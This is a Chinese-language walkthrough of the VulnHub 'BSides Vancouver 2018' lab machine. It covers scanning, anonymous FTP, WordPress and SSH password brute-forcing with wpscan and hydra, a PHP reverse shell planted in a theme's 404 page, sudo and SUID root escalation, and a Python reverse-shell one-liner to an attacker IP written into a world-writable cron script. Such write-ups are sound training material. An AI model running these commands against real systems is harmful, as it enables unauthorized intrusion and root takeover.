BSides Vancouver: 2018 (Workshop)

BSides Vancouver: 2018 (Workshop)

来自 < https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.199

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.199

服务器同时存在FTP,SSH,HTTP服务,分别进行信息收集

1. FTP 服务 (vsftpd 2.3.5)

  • 漏洞风险
    • 匿名登录:允许匿名访问(用户 ftp/空密码),存在信息泄露风险。
    • 版本检查:vsftpd 2.3.5 已修复著名的后门漏洞(CVE-2011-2523),但仍需验证是否存在其他漏洞。
  • 建议操作
    • 登录并检查 public 目录内容:
      ftp <IP>

      用户名:anonymous,密码:空或任意邮箱

      ls
      get <文件> # 下载可疑文件
    • 检查是否有写入权限(尝试上传文件)。

2. SSH 服务 (OpenSSH 5.9p1)

  • 漏洞风险
    • 旧版本风险:可能受漏洞如 CVE-2016-0777(信息泄露)影响。
    • 弱密钥类型:DSA 1024位密钥强度不足,建议升级至 RSA 2048+ 或 ECDSA。
  • 建议操作
    • 扫描支持的加密算法:
      nmap --script ssh2-enum-algos <IP>
    • 避免使用不安全的算法(如 CBC 模式)。

3. HTTP 服务 (Apache 2.2.22)

  • 漏洞风险
    • Apache 漏洞:旧版本可能受拒绝服务(CVE-2011-3192)或目录遍历漏洞影响。
    • 敏感路径泄露:/backup_wordpress 可能存在备份文件(如 wp-config.php)。
  • 建议操作

4,尝试匿名登录ftp服务器

anonymous

查看目录 ls

发现public目录,进入pubilc目录 cd public

然后get下载这个txt文件 get user.txt.bk

5,访问一下80端口的网站

应该还需要扫出网站的子目录

扫描出来robots.txt,访问之

/backup_wordpress访问之

http://192.168.23.199/backup_wordpress/

dirsearch -u http://192.168.23.199/backup_wordpress -x 403,404,500

是存在登录页面的,推测ftp服务器泄露文件的用户名用于登录wordpress

6,还有方法就是使用hydra爆破ssh登录。这里使用wpscan扫描WordPress,暴破后台用户名:

wpscan --url http://192.168.23.199/backup_wordpress --enumerate u

爆破后台密码:

wpscan --url ' http://192.168.23.199/backup_wordpress/' --api-token 'API' -U wordpressusers.txt -P /usr/share/wordlists/rockyou.txt

爆破出账号密码john/enigma

成功登录

7,尝试修改404页面的内容,使用的脚本是kali自带的反弹shell木马

cp /usr/share/webshells/php/php-reverse-shell.php /root

http://192.168.23.199/backup_wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen

成功上传

8,在攻击机上开启nc对4444端口监听,

然后访问一个不存在的网页

http://192.168.23.199/backup_wordpress/wp-content/themes/twentysixteen/404.php

9,python脚本启动一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集发现用户

然后尝试ssh爆破出用户弱口令

hydra -l anne -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.23.199

第一种办法,服务器配置不当弱口令登录提权

10,ssh成功登录。账户/密码:anne/princess

[email protected]

sudo -l发现所有命令都能够sudo权限,直接提权成为root

第二种办法, 777 权限文件反弹 shell 提权

1,查找具有777权限的文件

find / -type f -perm 0777 2>/dev/null

关键参数解析:

  • sudo
    以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。
  • -perm 0777
    严格匹配权限为 777 的文件(八进制写法更规范)。
  • 2>/dev/null
    忽略所有错误(如权限拒绝、文件不存在等)。

与Linux 提权联系:

风险场景

权限为 777 的文件意味着任何用户均可读、写、执行,攻击者可能利用以下场景提权:

|------------------|-----------------------------------------|-------------------------|
| 文件类型 | 提权利用方式 | 示例 |
| 可执行程序/脚本 | 替换文件内容,插入恶意代码(如反弹 Shell),等待高权限用户或服务调用。 | /usr/local/bin/custom* |
| Cron Job 脚本 | 修改定时任务脚本,注入提权代码,利用 Cron 以 root 权限执行。 | /etc/cron.daily/* |
| 服务配置文件 | 修改服务配置文件,诱导服务重启后加载恶意模块或执行命令。 | /etc/init.d/*.conf |
| 日志/临时文件 | 写入恶意内容并配合符号链接、竞争条件等漏洞提权。 | /var/log/*.log |
| SUID/SGID 文件 | 若权限为 777 且设置了 SUID,直接修改文件内容可获取 root 权限。 | /usr/bin/old_tool |

典型案例

  • Cron Job 提权
    若发现 /etc/cron.hourly/cleanup 权限为 777,攻击者可写入以下代码:
    chmod +s /bin/bash # 赋予 Bash SUID 权限
    Cron 以 root 执行后,普通用户运行 /bin/bash -p 即可获得 root Shell。
  • SUID 滥用
    若某 SUID 程序权限为 777:
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /usr/bin/vulnerable
    /tmp/rootbash -p # 启动后获得 root

2,再插入恶意提权代码

echo '#!/bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.182",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > /usr/local/bin/cleanup

反弹shell成为root用户

相关推荐
Brave heart9 分钟前
大语言模型打卡学习DAY1
人工智能·学习·语言模型
白总Server37 分钟前
Bash和Zsh的主要差异是?
开发语言·网络·数据库·stm32·安全·bash·xss
新中地GIS开发老师1 小时前
Cesium零基础速成教程:一小时入门Cesium
学习·arcgis·大学生·gis开发·地理信息科学·地信
nenchoumi31192 小时前
AutoGen学习笔记系列(十七)Examples - Literature Review
人工智能·笔记·python·学习·语言模型
执念斩长河2 小时前
go中间件学习
学习·中间件·golang
galaxylove2 小时前
Gartner发布量子网络安全策略指南:2030年量子计算将能够破坏传统的加密算法
安全·web安全·量子计算
一张土豆泥(准备秋招版)2 小时前
【毕业论文格式】word分页符后的标题段前间距消失
学习
瞌睡不来3 小时前
(学习总结28)Linux 基本命令3
linux·学习
七七知享3 小时前
Web3.0 从入门到实战:一站式开发指南
javascript·安全·web安全·网络安全·web3·区块链·html5
一人前行3 小时前
Flutter_学习记录_ ImagePicker拍照、录制视频、相册选择照片和视频、上传文件
学习·flutter